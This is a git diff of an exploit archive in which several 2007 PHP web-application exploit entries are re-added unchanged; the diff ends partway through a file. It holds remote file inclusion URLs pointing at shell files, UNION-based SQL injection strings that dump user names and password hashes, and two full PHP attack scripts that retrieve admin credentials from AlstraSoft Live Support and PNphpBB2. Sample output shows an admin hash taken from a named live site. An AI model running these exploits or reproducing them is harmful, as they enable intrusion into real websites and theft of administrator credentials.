+Homepage: http://www.rahim.webd.pl/
+Irc: irc.milw0rm.com:6667 #devilteam 
+--------------------------------------------
+Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.
+
+
+
+ttCMS <= v4 (ez_sql.php lib_path) RFI Vulnerability
+script download/homepage: http://www.ttcms.com/v4/
+
+
+--------------------------------------------
+Vulnerabilities:
+
+http://site.com/ttCMS_path/lib/db/ez_sql.php?lib_path=[evil_code]
+
+# milw0rm.com [2007-03-24]
diff --git a/platforms/php/webapps/3735.txt b/platforms/php/webapps/3735.txt
index 9d402e2fa..1b1c1cdf1 100755
--- a/platforms/php/webapps/3735.txt
+++ b/platforms/php/webapps/3735.txt
@@ -1,42 +1,42 @@
-########################################################
-#   Special Greetings To - Timq,Warpboy,The-Maggot     #
-########################################################
-
-File: index.php
-Affects: LS simple guestbook (v1)
-Date: 15th April 2007
-
-Issue Description:
-===========================================================================
-LS simple guestbook fails to sanitize user input that it writes to the
-posts.txt file when the user leaves a message, this file is then included
-causing any php code within it to be run.
-===========================================================================
-
-Scope:
-===========================================================================
-An attacker can inject arbitrary php code and potentially execute commands
-on the system.
-===========================================================================
-
-Recommendation:
-===========================================================================
-Add the following line of code in index.php:
-
-$message = strip_tags($message);
-
-just above:
-
-if ($message != "") {$file = fopen("$dataf","a");
-===========================================================================
-
-
-Example:
-
-name = Test
-message = <?php phpinfo(); ?>
-
-
-Discovered By: Gammarays
-
-# milw0rm.com [2007-04-14]
+########################################################
+#   Special Greetings To - Timq,Warpboy,The-Maggot     #
+########################################################
+
+File: index.php
+Affects: LS simple guestbook (v1)
+Date: 15th April 2007
+
+Issue Description:
+===========================================================================
+LS simple guestbook fails to sanitize user input that it writes to the
+posts.txt file when the user leaves a message, this file is then included
+causing any php code within it to be run.
+===========================================================================
+
+Scope:
+===========================================================================
+An attacker can inject arbitrary php code and potentially execute commands
+on the system.
+===========================================================================
+
+Recommendation:
+===========================================================================
+Add the following line of code in index.php:
+
+$message = strip_tags($message);
+
+just above:
+
+if ($message != "") {$file = fopen("$dataf","a");
+===========================================================================
+
+
+Example:
+
+name = Test
+message = <?php phpinfo(); ?>
+
+
+Discovered By: Gammarays
+
+# milw0rm.com [2007-04-14]
diff --git a/platforms/php/webapps/3835.txt b/platforms/php/webapps/3835.txt
index a2851bdc8..03d388c30 100755
--- a/platforms/php/webapps/3835.txt
+++ b/platforms/php/webapps/3835.txt
@@ -1,44 +1,44 @@
-----------------------------------------
-PostNuke Journal
-----------------------------------------
-                                   
-                    DISCOVERED BY :Ali Abbasi
-Olom Fonon Mazandaran University - Security Research Center, Babol, Iran
-       
-   Greetz For All Y! UnderGround Group Members ( www.2600.ir )
-
-    Greetz For All Persian Bugtraq Members ( www.bugtraq.ir )
-
-         Contact:     abbasi@ustmb.ac.ir
-
-
-                                   {SQL BUG}
-
-
-
-in 
-    index.php?module=v4bJournal&func=journal_comment&id=(SQL)
-
-
-
-
-------------------------------------------
-
-         EXPLIOT BY :ABDUCTER
-
-Greetz For ABDUCTER Real Friend Nanos (Nancy)
-
-Contact:   ABDUCTER_MINDS@YAHOO.COM 
- 
-
-
-   index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*
-
-EX:- 
-http://www.arsfoodcourt.com/index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*
-
-
-U must regrister first ( You Most Register First )
--------------------------------------------
-
-# milw0rm.com [2007-05-02]
+----------------------------------------
+PostNuke Journal
+----------------------------------------
+                                   
+                    DISCOVERED BY :Ali Abbasi
+Olom Fonon Mazandaran University - Security Research Center, Babol, Iran
+       
+   Greetz For All Y! UnderGround Group Members ( www.2600.ir )
+
+    Greetz For All Persian Bugtraq Members ( www.bugtraq.ir )
+
+         Contact:     abbasi@ustmb.ac.ir
+
+
+                                   {SQL BUG}
+
+
+
+in 
+    index.php?module=v4bJournal&func=journal_comment&id=(SQL)
+
+
+
+
+------------------------------------------
+
+         EXPLIOT BY :ABDUCTER
+
+Greetz For ABDUCTER Real Friend Nanos (Nancy)
+
+Contact:   ABDUCTER_MINDS@YAHOO.COM 
+ 
+
+
+   index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*
+
+EX:- 
+http://www.arsfoodcourt.com/index.php?module=v4bJournal&func=journal_comment&id=-1/**/union/**/select/**/0,pn_uname,pn_pass,3,4,pn_uname,6,7,8,9,10,11,12,13,14/**/from/**/nuke_users/**/where/**/pn_uid=2/*
+
+
+U must regrister first ( You Most Register First )
+-------------------------------------------
+
+# milw0rm.com [2007-05-02]
diff --git a/platforms/php/webapps/3957.php b/platforms/php/webapps/3957.php
index cdaf6be69..0800b9951 100755
--- a/platforms/php/webapps/3957.php
+++ b/platforms/php/webapps/3957.php
@@ -1,153 +1,153 @@
-#!/usr/bin/php -q -d short_open_tag=on
-<?
-echo "
-AlstraSoft Live Support v1.21 Admin Credential Retrieve Exploit
-by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
-Thanks to rgod for the php code and Marty for the Love
-
-";
-if ($argc<2) {
-echo "Usage: php ".$argv[0]." Host Path 
-Host:          target server (ip/hostname)
-Path:          path of LiveSupport
-
-Example:
-php ".$argv[0]." localhost /LiveSupport/ ";
-
-die;
-}
-error_reporting(0);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout",5);
-
-/*
- ___________________________________________________________________
-/       This script is part of the AlstraSoft Exploit Pack:         \
-|                                                                   |
-|  http://itablackhawk.altervista.org/exploit/alsoft_exploit_pack;  |
-|                                                                   |
-|            You can find the patches for this bugs at:             |
-|                                                                   |
-|   http://itablackhawk.altervista.org/download/alsoft_patch.zip    |
-|                                                                   |
-\________________________.:BlackHawk 2007:._________________________/
-
-*/
-
-/*
-VULN EXPLANATION
-
-Exploitable code is located in common.php:
-
-function check_security($is_admin=0)
-{
-	$redirect = false;
-	
-	if($is_admin&&!get_session("admin"))
-		$redirect = true;
-	elseif(!get_session("login")&&!$is_admin)
-		$redirect = true;
-	
-	if($redirect)
-		header ("Location: index.php?querystring=" . urlencode(getenv("QUERY_STRING")) . "&ret_page=" . urlencode(getenv("REQUEST_URI")));
-}
-
-no exit function after header() function..
-
-this script simply call the page and extract admin credentials
-
-*/
-
-function quick_dump($string)
-{
-  $result='';$exa='';$cont=0;
-  for ($i=0; $i<=strlen($string)-1; $i++)
-  {
-   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
-   {$result.="  .";}
-   else
-   {$result.="  ".$string[$i];}
-   if (strlen(dechex(ord($string[$i])))==2)
-   {$exa.=" ".dechex(ord($string[$i]));}
-   else
-   {$exa.=" 0".dechex(ord($string[$i]));}
-   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
-  }
- return $exa."\r\n".$result;
-}
-$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
-function sendpacketii($packet)
-{
-  global $proxy, $host, $port, $html, $proxy_regex;
-  if ($proxy=='') {
-    $ock=fsockopen(gethostbyname($host),$port);
-    if (!$ock) {
-      echo 'No response from '.$host.':'.$port; die;
-    }
-  }
-  else {
-	$c = preg_match($proxy_regex,$proxy);
-    if (!$c) {
-      echo 'Not a valid proxy...';die;
-    }
-    $parts=explode(':',$proxy);
-    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
-    $ock=fsockopen($parts[0],$parts[1]);
-    if (!$ock) {
-      echo 'No response from proxy...';die;
-	}
-  }
-  fputs($ock,$packet);
-  if ($proxy=='') {
-    $html='';
-    while (!feof($ock)) {
-      $html.=fgets($ock);
-    }
-  }
-  else {
-    $html='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
-      $html.=fread($ock,1);
-    }
-  }
-  fclose($ock);
-}
-
-$host=$argv[1];
-$path=$argv[2];
-
-$port=80;
-$proxy="";
-
-if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
-if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-
-
-echo "- Getting the Page..\r\n";
-$packet="GET ".$p."admin/managesettings.php? HTTP/1.0\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Cookie: \r\n";
-$packet.="Connection: Close\r\n\r\n";
-sendpacketii($packet);
-
-$temp=explode("name=\"password\" maxlength=\"30\" size=\"30\" value=\"", $html);
-$password=explode("\">", $temp[1]);
-$temp=explode("name=\"login\" maxlength=\"30\" size=\"30\" value=\"", $html);
-$login=explode("\">", $temp[1]);
-
-echo "- Ok, all done..
-Now use this settings to login:
-
----------------
-
-NickName: $login[0]
-
-Password: $password[0]
-
----------------
-";
-
-# Coded With BH Fast Generator v0.1
-?>
-
-# milw0rm.com [2007-05-20]
+#!/usr/bin/php -q -d short_open_tag=on
+<?
+echo "
+AlstraSoft Live Support v1.21 Admin Credential Retrieve Exploit
+by BlackHawk <hawkgotyou@gmail.com> <http://itablackhawk.altervista.org>
+Thanks to rgod for the php code and Marty for the Love
+
+";
+if ($argc<2) {
+echo "Usage: php ".$argv[0]." Host Path 
+Host:          target server (ip/hostname)
+Path:          path of LiveSupport
+
+Example:
+php ".$argv[0]." localhost /LiveSupport/ ";
+
+die;
+}
+error_reporting(0);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout",5);
+
+/*
+ ___________________________________________________________________
+/       This script is part of the AlstraSoft Exploit Pack:         \
+|                                                                   |
+|  http://itablackhawk.altervista.org/exploit/alsoft_exploit_pack;  |
+|                                                                   |
+|            You can find the patches for this bugs at:             |
+|                                                                   |
+|   http://itablackhawk.altervista.org/download/alsoft_patch.zip    |
+|                                                                   |
+\________________________.:BlackHawk 2007:._________________________/
+
+*/
+
+/*
+VULN EXPLANATION
+
+Exploitable code is located in common.php:
+
+function check_security($is_admin=0)
+{
+	$redirect = false;
+	
+	if($is_admin&&!get_session("admin"))
+		$redirect = true;
+	elseif(!get_session("login")&&!$is_admin)
+		$redirect = true;
+	
+	if($redirect)
+		header ("Location: index.php?querystring=" . urlencode(getenv("QUERY_STRING")) . "&ret_page=" . urlencode(getenv("REQUEST_URI")));
+}
+
+no exit function after header() function..
+
+this script simply call the page and extract admin credentials
+
+*/
+
+function quick_dump($string)
+{
+  $result='';$exa='';$cont=0;
+  for ($i=0; $i<=strlen($string)-1; $i++)
+  {
+   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+   {$result.="  .";}
+   else
+   {$result.="  ".$string[$i];}
+   if (strlen(dechex(ord($string[$i])))==2)
+   {$exa.=" ".dechex(ord($string[$i]));}
+   else
+   {$exa.=" 0".dechex(ord($string[$i]));}
+   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
+  }
+ return $exa."\r\n".$result;
+}
+$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+function sendpacketii($packet)
+{
+  global $proxy, $host, $port, $html, $proxy_regex;
+  if ($proxy=='') {
+    $ock=fsockopen(gethostbyname($host),$port);
+    if (!$ock) {
+      echo 'No response from '.$host.':'.$port; die;
+    }
+  }
+  else {
+	$c = preg_match($proxy_regex,$proxy);
+    if (!$c) {
+      echo 'Not a valid proxy...';die;
+    }
+    $parts=explode(':',$proxy);
+    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+    $ock=fsockopen($parts[0],$parts[1]);
+    if (!$ock) {
+      echo 'No response from proxy...';die;
+	}
+  }
+  fputs($ock,$packet);
+  if ($proxy=='') {
+    $html='';
+    while (!feof($ock)) {
+      $html.=fgets($ock);
+    }
+  }
+  else {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+      $html.=fread($ock,1);
+    }
+  }
+  fclose($ock);
+}
+
+$host=$argv[1];
+$path=$argv[2];
+
+$port=80;
+$proxy="";
+
+if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
+if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+
+
+echo "- Getting the Page..\r\n";
+$packet="GET ".$p."admin/managesettings.php? HTTP/1.0\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Cookie: \r\n";
+$packet.="Connection: Close\r\n\r\n";
+sendpacketii($packet);
+
+$temp=explode("name=\"password\" maxlength=\"30\" size=\"30\" value=\"", $html);
+$password=explode("\">", $temp[1]);
+$temp=explode("name=\"login\" maxlength=\"30\" size=\"30\" value=\"", $html);
+$login=explode("\">", $temp[1]);
+
+echo "- Ok, all done..
+Now use this settings to login:
+
+---------------
+
+NickName: $login[0]
+
+Password: $password[0]
+
+---------------
+";
+
+# Coded With BH Fast Generator v0.1
+?>
+
+# milw0rm.com [2007-05-20]
diff --git a/platforms/php/webapps/3994.txt b/platforms/php/webapps/3994.txt
index 67e274819..568d3c3e8 100755
--- a/platforms/php/webapps/3994.txt
+++ b/platforms/php/webapps/3994.txt
@@ -1,17 +1,17 @@
-#Mazen's PHP Chat V3.0.0 Beta1 Remote file inclusion
-
-#Download script : http://www.scriptbrasil.com.br/script/php/bate_papo/mazen_phpopenchmt221.tar.gz
-
-#Thanks Str0ke :D
-
-#Exploit :
-
-#http://victim.com/[chat_path]/include/pear/ITX.php?basepath=shell.txt?
-#http://victim.com/[chat_path]/include/pear/IT_Error.php?basepath=shell.txt?
-#http://victim.com/[chat_path]/include/pear/IT.php?basepath= shell.txt?
-
-#Discovered by ThE TiGeR
-
-#Miro_Tiger[at]Hotmail.com
-
-# milw0rm.com [2007-05-26]
+#Mazen's PHP Chat V3.0.0 Beta1 Remote file inclusion
+
+#Download script : http://www.scriptbrasil.com.br/script/php/bate_papo/mazen_phpopenchmt221.tar.gz
+
+#Thanks Str0ke :D
+
+#Exploit :
+
+#http://victim.com/[chat_path]/include/pear/ITX.php?basepath=shell.txt?
+#http://victim.com/[chat_path]/include/pear/IT_Error.php?basepath=shell.txt?
+#http://victim.com/[chat_path]/include/pear/IT.php?basepath= shell.txt?
+
+#Discovered by ThE TiGeR
+
+#Miro_Tiger[at]Hotmail.com
+
+# milw0rm.com [2007-05-26]
diff --git a/platforms/php/webapps/4026.php b/platforms/php/webapps/4026.php
index f24c377ed..c103b3e4c 100755
--- a/platforms/php/webapps/4026.php
+++ b/platforms/php/webapps/4026.php
@@ -1,203 +1,203 @@
-<?/*
-Exploit Name:
-PNphpBB2 <= 1.2 Remote SQL Injection Exploit
-
-Autor: Kacper
-Contact: kacper1964@yahoo.pl
-Homepage: http://www.rahim.webd.pl/
-Kacper Hacking & Security Blog: http://kacper.bblog.pl/
-Irc: irc.milw0rm.com:6667 #devilteam 
-
-Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.
-
-Pozdrawiam pl.zone-h.org, a najbardziej demo, oraz cala ekipe Zone-H.Org  :)
-
-//dork: inurl:"index.php?name=PNphpBB2"
-
-script homepage/download/demo: http://www.pnphpbb.com/
-
-
-########################### START ##############################
-Microsoft Windows XP [Wersja 5.1.2600] 
-(C) Copyright 1985-2001 Microsoft Corp. 
-
-C:\Documents and Settings\h4ck3r>C:\usr\php\php.exe c:\php.php 
-Content-type: text/html 
-X-Powered-By: PHP/4.3.9 
-
-
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 
-Usage: php c:\php.php host path OPTIONS 
-host: target server (ip/hostname) 
-path: PNphpBB2 path 
-Options: 
--p[port]: specify a port other than 80 
--P[ip:port]: specify a proxy 
--X[prefix]: database prefix 
--u[user_id]: user id from forum PNphpBB2 
-Example: 
-php c:\php.php 127.0.0.1 /PNphpBB2/ 
-php c:\php.php 127.0.0.1 /PNphpBB2/ -Xnuke -u3 -P1.1.1.1:80 
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 
-
-C:\Documents and Settings\h4ck3r>C:\usr\php\php.exe c:\php.php www.prawobrzeze.org / -Xnuke
-Content-type: text/html 
-X-Powered-By: PHP/4.3.9 
-
-Prefix -> nuke 
-+++++++++++++++++++++++++++++++++++++++++++++++++ 
-Admin Password: 1be49aa89a83537aa59bc6fe8b80f255 
-Admin Username: Finki
-
-########################## THE END #############################
-
-you only must now prefix :)
-
-*/
-if ($argc<3) {
-print_r('
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-Usage: php '.$argv[0].' host path OPTIONS
-host:       target server (ip/hostname)
-path:       PNphpBB2 path
-Options:
- -p[port]:    specify a port other than 80
- -P[ip:port]: specify a proxy
- -X[prefix]:  database prefix
- -u[user_id]: user id from forum PNphpBB2
-Example:
-php '.$argv[0].' 127.0.0.1 /PNphpBB2/
-php '.$argv[0].' 127.0.0.1 /PNphpBB2/ -Xnuke -u3 -P1.1.1.1:80
--=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
-');
-die;
-}
-error_reporting(7);
-ini_set("max_execution_time",0);
-ini_set("default_socket_timeout",5);
-function quick_dump($string)
-{
-  $result='';$exa='';$cont=0;
-  for ($i=0; $i<=strlen($string)-1; $i++)
-  {
-   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
-   {$result.="  .";}
-   else
-   {$result.="  ".$string[$i];}
-   if (strlen(dechex(ord($string[$i])))==2)
-   {$exa.=" ".dechex(ord($string[$i]));}
-   else
-   {$exa.=" 0".dechex(ord($string[$i]));}
-   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
-  }
- return $exa."\r\n".$result;
-}
-$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
-
-function wyslijpakiet($packet)
-{
-  global $proxy, $host, $port, $html, $proxy_regex;
-  if ($proxy=='') {
-    $ock=fsockopen(gethostbyname($host),$port);
-    if (!$ock) {
-      echo 'No response from '.$host.':'.$port; die;
-    }
-  }
-  else {
-	$c = preg_match($proxy_regex,$proxy);
-    if (!$c) {
-      echo 'Not a valid proxy...';die;
-    }
-    $parts=explode(':',$proxy);
-    $parts[1]=(int)$parts[1];
-    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
-    $ock=fsockopen($parts[0],$parts[1]);
-    if (!$ock) {
-      echo 'No response from proxy...';die;
-	}
-  }
-  fputs($ock,$packet);
-  if ($proxy=='') {
-    $html='';
-    while (!feof($ock)) {
-      $html.=fgets($ock);
-    }
-  }
-  else {
-    $html='';
-    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
-      $html.=fread($ock,1);
-    }
-  }
-  fclose($ock);
-}
-$host=$argv[1];
-$path=$argv[2];
-$prefix="pn";
-$user_id="2";
-$port=80;
-$proxy="";
-for ($i=3; $i<$argc; $i++){
-$temp=$argv[$i][0].$argv[$i][1];
-if ($temp=="-p")
-{
-  $port=(int)str_replace("-p","",$argv[$i]);
-}
-if ($temp=="-P")
-{
-  $proxy=str_replace("-P","",$argv[$i]);
-}
-if ($temp=="-X")
-{
-  $prefix=str_replace("-X","",$argv[$i]);
-}
-if ($temp=="-u")
-{
-  $user_id=str_replace("-u","",$argv[$i]);
-}
-}
-if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die("Bad path!");}
-if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
-function char_convert($my_string)
-{
-  $encoded="CHAR(";
-  for ($k=0; $k<=strlen($my_string)-1; $k++)
-  {
-    $encoded.=ord($my_string[$k]);
-    if ($k==strlen($my_string)-1) {$encoded.=")";}
-    else {$encoded.=",";}
-  }
-  return $encoded;
-}
-if($prefix=="pn"){print "Default Prefix -> ".$prefix."\r\n";}
-print "Prefix -> ".$prefix."\r\n";
-print "+++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
-$packet ="GET ".$p."index.php?name=PNphpBB2&file=index&c=1/**/UNION/**/SELECT/**/0,CONCAT(".char_convert("<DEVIL_TEAM-[").",user_password,".char_convert("]-Kacper>")."),2,3,4/**/FROM/**/".$prefix."_phpbb_users/**/WHERE/**/user_id=".$user_id."/* HTTP/1.0\r\n";
-$packet.="Referer: http://".$host.$path."index.php\r\n";
-$packet.="Accept-Language: pl\r\n";
-$packet.="User-Agent: Googlebot/2.1\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-wyslijpakiet($packet);
-sleep(3);
-$t=explode("<DEVIL_TEAM-[",$html);
-$t2=explode("]-Kacper>",$t[1]);
-$pass=$t2[0];
-echo "Admin Password: ".$pass."\r\n";
-$packet ="GET ".$p."index.php?name=PNphpBB2&file=index&c=1/**/UNION/**/SELECT/**/0,CONCAT(".char_convert("<DEVIL_TEAM-[").",username,".char_convert("]-Kacper>")."),2,3,4/**/FROM/**/".$prefix."_phpbb_users/**/WHERE/**/user_id=".$user_id."/* HTTP/1.0\r\n";
-$packet.="Referer: http://".$host.$path."category.php\r\n";
-$packet.="Accept-Language: pl\r\n";
-$packet.="User-Agent: Googlebot/2.1\r\n";
-$packet.="Host: ".$host."\r\n";
-$packet.="Connection: Close\r\n\r\n";
-wyslijpakiet($packet);
-sleep(3);
-$t=explode("<DEVIL_TEAM-[",$html);
-$t2=explode("]-Kacper>",$t[1]);
-$nick=$t2[0];
-echo "Admin Username: ".$nick."\r\n";
-if($pass==""){echo "exploit failed, check prefix !!!!!!!!!! (index.php?name=PNphpBB2&file=index&c='1)\r\n";
-echo "Go to DEVIL TEAM IRC: irc.milw0rm.com:6667 #devilteam\r\n";}
-?>
-
-# milw0rm.com [2007-06-03]
+<?/*
+Exploit Name:
+PNphpBB2 <= 1.2 Remote SQL Injection Exploit
+
+Autor: Kacper
+Contact: kacper1964@yahoo.pl
+Homepage: http://www.rahim.webd.pl/
+Kacper Hacking & Security Blog: http://kacper.bblog.pl/
+Irc: irc.milw0rm.com:6667 #devilteam 
+
+Pozdro dla wszystkich z kanalu IRC oraz forum DEVIL TEAM.
+
+Pozdrawiam pl.zone-h.org, a najbardziej demo, oraz cala ekipe Zone-H.Org  :)
+
+//dork: inurl:"index.php?name=PNphpBB2"
+
+script homepage/download/demo: http://www.pnphpbb.com/
+
+
+########################### START ##############################
+Microsoft Windows XP [Wersja 5.1.2600] 
+(C) Copyright 1985-2001 Microsoft Corp. 
+
+C:\Documents and Settings\h4ck3r>C:\usr\php\php.exe c:\php.php 
+Content-type: text/html 
+X-Powered-By: PHP/4.3.9 
+
+
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 
+Usage: php c:\php.php host path OPTIONS 
+host: target server (ip/hostname) 
+path: PNphpBB2 path 
+Options: 
+-p[port]: specify a port other than 80 
+-P[ip:port]: specify a proxy 
+-X[prefix]: database prefix 
+-u[user_id]: user id from forum PNphpBB2 
+Example: 
+php c:\php.php 127.0.0.1 /PNphpBB2/ 
+php c:\php.php 127.0.0.1 /PNphpBB2/ -Xnuke -u3 -P1.1.1.1:80 
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 
+
+C:\Documents and Settings\h4ck3r>C:\usr\php\php.exe c:\php.php www.prawobrzeze.org / -Xnuke
+Content-type: text/html 
+X-Powered-By: PHP/4.3.9 
+
+Prefix -> nuke 
++++++++++++++++++++++++++++++++++++++++++++++++++ 
+Admin Password: 1be49aa89a83537aa59bc6fe8b80f255 
+Admin Username: Finki
+
+########################## THE END #############################
+
+you only must now prefix :)
+
+*/
+if ($argc<3) {
+print_r('
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+Usage: php '.$argv[0].' host path OPTIONS
+host:       target server (ip/hostname)
+path:       PNphpBB2 path
+Options:
+ -p[port]:    specify a port other than 80
+ -P[ip:port]: specify a proxy
+ -X[prefix]:  database prefix
+ -u[user_id]: user id from forum PNphpBB2
+Example:
+php '.$argv[0].' 127.0.0.1 /PNphpBB2/
+php '.$argv[0].' 127.0.0.1 /PNphpBB2/ -Xnuke -u3 -P1.1.1.1:80
+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
+');
+die;
+}
+error_reporting(7);
+ini_set("max_execution_time",0);
+ini_set("default_socket_timeout",5);
+function quick_dump($string)
+{
+  $result='';$exa='';$cont=0;
+  for ($i=0; $i<=strlen($string)-1; $i++)
+  {
+   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
+   {$result.="  .";}
+   else
+   {$result.="  ".$string[$i];}
+   if (strlen(dechex(ord($string[$i])))==2)
+   {$exa.=" ".dechex(ord($string[$i]));}
+   else
+   {$exa.=" 0".dechex(ord($string[$i]));}
+   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
+  }
+ return $exa."\r\n".$result;
+}
+$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
+
+function wyslijpakiet($packet)
+{
+  global $proxy, $host, $port, $html, $proxy_regex;
+  if ($proxy=='') {
+    $ock=fsockopen(gethostbyname($host),$port);
+    if (!$ock) {
+      echo 'No response from '.$host.':'.$port; die;
+    }
+  }
+  else {
+	$c = preg_match($proxy_regex,$proxy);
+    if (!$c) {
+      echo 'Not a valid proxy...';die;
+    }
+    $parts=explode(':',$proxy);
+    $parts[1]=(int)$parts[1];
+    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
+    $ock=fsockopen($parts[0],$parts[1]);
+    if (!$ock) {
+      echo 'No response from proxy...';die;
+	}
+  }
+  fputs($ock,$packet);
+  if ($proxy=='') {
+    $html='';
+    while (!feof($ock)) {
+      $html.=fgets($ock);
+    }
+  }
+  else {
+    $html='';
+    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
+      $html.=fread($ock,1);
+    }
+  }
+  fclose($ock);
+}
+$host=$argv[1];
+$path=$argv[2];
+$prefix="pn";
+$user_id="2";
+$port=80;
+$proxy="";
+for ($i=3; $i<$argc; $i++){
+$temp=$argv[$i][0].$argv[$i][1];
+if ($temp=="-p")
+{
+  $port=(int)str_replace("-p","",$argv[$i]);
+}
+if ($temp=="-P")
+{
+  $proxy=str_replace("-P","",$argv[$i]);
+}
+if ($temp=="-X")
+{
+  $prefix=str_replace("-X","",$argv[$i]);
+}
+if ($temp=="-u")
+{
+  $user_id=str_replace("-u","",$argv[$i]);
+}
+}
+if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {die("Bad path!");}
+if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+function char_convert($my_string)
+{
+  $encoded="CHAR(";
+  for ($k=0; $k<=strlen($my_string)-1; $k++)
+  {
+    $encoded.=ord($my_string[$k]);
+    if ($k==strlen($my_string)-1) {$encoded.=")";}
+    else {$encoded.=",";}
+  }
+  return $encoded;
+}
+if($prefix=="pn"){print "Default Prefix -> ".$prefix."\r\n";}
+print "Prefix -> ".$prefix."\r\n";
+print "+++++++++++++++++++++++++++++++++++++++++++++++++\r\n";
+$packet ="GET ".$p."index.php?name=PNphpBB2&file=index&c=1/**/UNION/**/SELECT/**/0,CONCAT(".char_convert("<DEVIL_TEAM-[").",user_password,".char_convert("]-Kacper>")."),2,3,4/**/FROM/**/".$prefix."_phpbb_users/**/WHERE/**/user_id=".$user_id."/* HTTP/1.0\r\n";
+$packet.="Referer: http://".$host.$path."index.php\r\n";
+$packet.="Accept-Language: pl\r\n";
+$packet.="User-Agent: Googlebot/2.1\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+wyslijpakiet($packet);
+sleep(3);
+$t=explode("<DEVIL_TEAM-[",$html);
+$t2=explode("]-Kacper>",$t[1]);
+$pass=$t2[0];
+echo "Admin Password: ".$pass."\r\n";
+$packet ="GET ".$p."index.php?name=PNphpBB2&file=index&c=1/**/UNION/**/SELECT/**/0,CONCAT(".char_convert("<DEVIL_TEAM-[").",username,".char_convert("]-Kacper>")."),2,3,4/**/FROM/**/".$prefix."_phpbb_users/**/WHERE/**/user_id=".$user_id."/* HTTP/1.0\r\n";
+$packet.="Referer: http://".$host.$path."category.php\r\n";
+$packet.="Accept-Language: pl\r\n";
+$packet.="User-Agent: Googlebot/2.1\r\n";
+$packet.="Host: ".$host."\r\n";
+$packet.="Connection: Close\r\n\r\n";
+wyslijpakiet($packet);
+sleep(3);
+$t=explode("<DEVIL_TEAM-[",$html);
+$t2=explode("]-Kacper>",$t[1]);
+$nick=$t2[0];
+echo "Admin Username: ".$nick."\r\n";
